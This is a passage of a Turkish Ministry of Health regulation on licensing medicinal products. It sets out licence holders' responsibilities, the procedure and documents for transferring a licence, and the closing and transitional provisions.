(4) Ruhsatı iptal edilen bir ürünün üretimi veya ithali durdurulur. Dağıtımda ve satışta olan ürünler hakkındaki karar, ruhsatın iptal gerekçesi dikkate alınarak Bakanlıkça verilir.

Ruhsat sahibinin sorumluluğu

MADDE 27 (1) Ruhsat sahibi;

a) Ürünün başvuru ekinde verilen ve Bakanlıkça kabul edilen spesifikasyonlara uygun olarak üretilmesinden,

b) Ürünün doğru, etkin ve güvenli kullanımını sağlayacak bilgilerin verilmesinden,

c) Ürünün doğru ve güvenli kullanımını sağlamak için gerektiği durumlarda kısa ürün bilgilerinin ve kullanma talimatının güncelleştirilmesinden,

ç) Ürün hakkında Bakanlıkça talep edilen hususlara cevap verilmesinden,

d) Ürünün piyasaya verilmesini takiben farmakovijilans uygulamaları çerçevesinde gerekli yükümlülüklerin yerine getirilmesinden,

e) Ruhsatına sahip olduğu ürünün piyasada bulunabilirliğinin sağlanmasından,

f) Ürünün etkililiği veya halk sağlığının korunması gerekçesiyle ruhsatın askıya alınması veya pazardançekilmesi ile ilgili alınan her türlü tedbirin tüm gerekçeleriyle birlikte derhal Bakanlığa bildirilmesinden,

g) Ürünlerle ilgili belirlenmiş harçların ve ücretlerin ödenmesinden,

ğ) Farmakovijilans uygulamaları kapsamında ürün güvenliğinden sorumlu nitelikli bir kişinin sürekli olarak bünyesinde bulundurulmasından,

h) Ürünün saklama koşulu, hastalara uygulanması, atık ürünlerin imha edilmesi ile ilgili alınacak tedbir ve güvenlik önlemlerinin nedenlerinin, ürünlerin çevre açısından teşkil ettikleri potansiyel riskler ile birlikte belirtilmesinden,

ı) Pazara sunduğu ürünler hakkındaki bilgilerden sorumlu ve kendi kuruluşu bünyesinde, bilim servisinin oluşturulmasından,


(2) Bakanlık, ruhsat sahibinden, kullanma talimatının tam ve kısmi görme engelli kişiler için uygun formatlar sağlanmasını talep edebilir.

Ruhsat sahibi değişikliği

MADDE 28 (1) Bakanlık tarafından ruhsat düzenlenmiş bir ürünün ruhsat sahibi değişikliği yapılabilir. Ruhsat sahibi değişikliği işlemleri için aşağıdaki bilgi ve belgeler Bakanlığa sunulur.

a) Mahkeme veya icra dairesince ruhsat sahibi değişikliğine dair verilmiş karar veya noter huzurunda düzenlenmiş ve aşağıdaki hususları içeren sözleşme.

1) Ruhsat sahibi değişikliği işlemine konu olan ürünün ismi, ruhsat numarası.

2) Ruhsat sahibi değişikliği ile ruhsatı verecek ve ruhsatı alacak olan gerçek veya tüzel kişilerin isim ve adresleri.

3) Bakanlıkça onaylanmış, tam ve güncellenmiş olan mevcut ürün dosyasının eksiksiz bir biçimde devralan kişiye teslim edildiğine dair tutanak.

(2) Noter aracılığı ile yapılan devirlerde birinci fıkranın (1), (2) ve (3) numaralı alt bentlerine ek olarak;

a) Devralan firma tarafından hazırlanan, devir başvurusu sırasında ürün ile ilgili herhangi bir değişiklik yapılmadığına ilişkin taahhütname,

b) Devir işlemlerinin gerçekleşmesinin ardından, ürüne ilişkin olarak Bakanlık tarafından yapılması öngörülen tüm değişiklik ve güncellemelerin yapılacağına ilişkin, devralan firma tarafından hazırlanmış taahhütname,


(3) Ruhsat sahibi değişikliği ile ruhsatı alan kişi, ruhsat sahibinden beklenen tüm sorumlulukları yerine getirme kapasitesine sahip olduğunu gösteren aşağıdaki bilgi ve belgeleri Bakanlığa sunar.

a) 6 ncı maddede ruhsat başvurusunda bulunabilecek kişiler için belirtilen mesleklerden birine mensup olduğunu gösteren diploma örneğinin aslı veya Bakanlıkça onaylı sureti.

b) Tüzel kişi olması durumunda, şirketin kuruluş amaçlarını, ortaklarını ve sorumlu kişilerin görev ve unvanlarınıbelirten ticaret sicili gazetesinin aslı veya sureti.

c) Farmakovijilans uygulamaları kapsamında ürün güvenliği sorumlusunun özgeçmişi, adresi, telefon, faks numarası ve bu kişinin görevini tanımlayan belge.

ç) Ruhsat sahibi, kendi kuruluşu bünyesinde, yeterli eğitim almış ve pazara sunduğu ürünler hakkındaki bilgilerden sorumlu olan bilim servisini tanımlayan belge ve bu servisin adresi, telefon, faks numarası ve e-posta adresi.

d) Ruhsat sahibi değişikliği ile ruhsatı alan kişinin adı, soyadı, adresi, telefon ve faks numaralarıyla birlikte, güncellenmiş kısa ürün bilgileri, kullanma talimatı, iç ve dış ambalajın birer örneği ve noter aracılığıyla yapılan devirlerde, söz konusu ürün için önceden verilmiş olan ruhsatın aslı.

(4) Ürünün ithal bir ürün olması durumunda, yukarıda belirtilen bilgi ve belgelere ek olarak, lisans sahibi firmanın söz konusu ürünün Türkiye’de ruhsatlandırılması, ithali ve satışına ilişkin münhasıran yetkilendirdiği gerçek veya tüzel kişiyi değiştirdiğine dair orijinal belge ve noter onaylı Türkçe tercümesi ile birlikte Bakanlığa başvuruda bulunulur.

(5) Lisans sahibi firmanın söz konusu ürünün Türkiye’de ruhsatlandırılması ve satışına ilişkin yetkilendirdiği gerçek veya tüzel kişiyi değiştirmesi durumunda, lisans sahibi firmanın ürünün Türkiye’de ruhsatlandırılması ve satışına ilişkin verdiği yetkiyi gösterir, yeni tarihli orijinal belge, noter onaylı Türkçe tercümesi, mevcut ruhsat sahibinin ruhsat orijinalini iade ettiğini bildiren yazısı veya mevcut ruhsat sahibinin yetkisinin kalmadığını gösteren mahkeme kararısunulduğunda birinci fıkranın (a) bendi hariç, Bakanlıkça onaylanmış tam ve güncellenmiş mevcut ürün dosyası ile birlikte bu maddedeki tüm gerekliliklerin yerine getirilmesi zorunludur.

(6) Ruhsat başvurusu yapan gerçek veya tüzel kişi başvurudan oluşan haklarını bu maddede belirtilen ilgili koşulları yerine getirmek suretiyle başka bir gerçek veya tüzel kişiye devredebilir.

(7) Ürünlere ilişkin yapılacak olan tüm değişiklikler için ilgili kılavuz hükümlerine göre Bakanlığa ayrı bir başvuruda bulunulur. Ancak, değişikliğe ilişkin yapılmış olan başvuru, ürünün ruhsat sahibi değişiklik işlemleri tamamlandıktan sonra Bakanlık tarafından değerlendirmeye alınır.

(8) Bakanlık, eksiksiz bilgi ve belgelerle yapılan ruhsat sahibi değişikliği başvurusunu otuz gün içinde sonuçlandırır.


Çeşitli ve Son Hükümler


MADDE 29 (1) Bu Yönetmelik kapsamındaki ürünlerin tanıtımı 23/10/2003 tarihli ve 25268 sayılı ResmîGazete’de yayımlanan Beşeri Tıbbi Ürünlerin Tanıtım Faaliyetleri Hakkında Yönetmeliğe tabidir.

Düzenleme yetkisi

MADDE 30 (1) Bakanlık bu Yönetmeliğin uygulanmasını sağlamak üzere her türlü alt düzenlemeyi yapmaya yetkilidir.

Cezai hükümler

MADDE 31 (1) Bu Yönetmelik hükümlerine uymayanlar hakkında 26/9/2004 tarihli ve 5237 sayılı Türk Ceza Kanunu ve ilgili diğer mevzuat hükümleri uygulanır.

Hüküm bulunmayan hâller

MADDE 32 (1) Bu Yönetmelikte hüküm bulunmayan hâllerde, 12/8/2005 tarihli ve 25904 sayılı ResmîGazete’de yayımlanan Beşeri Tıbbi Ürünler Ambalaj ve Etiketleme Yönetmeliği, 19/1/2005 tarihli ve 25705 sayılı ResmîGazete’de yayımlanan Beşeri Tıbbi Ürünler Ruhsatlandırma Yönetmeliği hükümleri uygulanır.

Bakanlıktan izinli ürünlerin durumu

GEÇİCİ MADDE 1 (1) Bu Yönetmeliğin kapsamında olan ve bu Yönetmeliğin yürürlüğe girdiği tarihtenönce Bakanlıktan izinli olarak piyasaya arz edilmiş olan ürünler için izin sahibi kişiler, bu Yönetmeliğin yürürlüğe girdiği tarihten itibaren iki yıl içerisinde Bakanlıkça istenilen belgeler ile ruhsat müracaatında bulunurlar.

Bakanlığa müracaat eden ürünlerin durumu

GEÇİCİ MADDE 2 (1) Bu Yönetmeliğin yürürlüğe girdiği tarihten önce Bakanlığa müracaat etmiş ve Bakanlıkta izin işlemleri devam etmekte olan ürünlerden analiz prosedürü başlatılmış ve/veya analiz işlemleri tamamlanmış ürünler için engel bir durumun olmadığının belirlenmesi hâlinde ilgili kılavuza göre izin belgesi düzenlenir. Analiz aşamasına gelmemiş olan ürünlerin başvuru dosyaları ise bu Yönetmeliğe göre müracaat edilmesi için başvuru sahibine iade edilir.


MADDE 33 (1) Bu Yönetmelik yayımı tarihinde yürürlüğe girer.


MADDE 34 (1) Bu Yönetmelik hükümlerini Sağlık Bakanı yürütür.

Kaynak: IEGM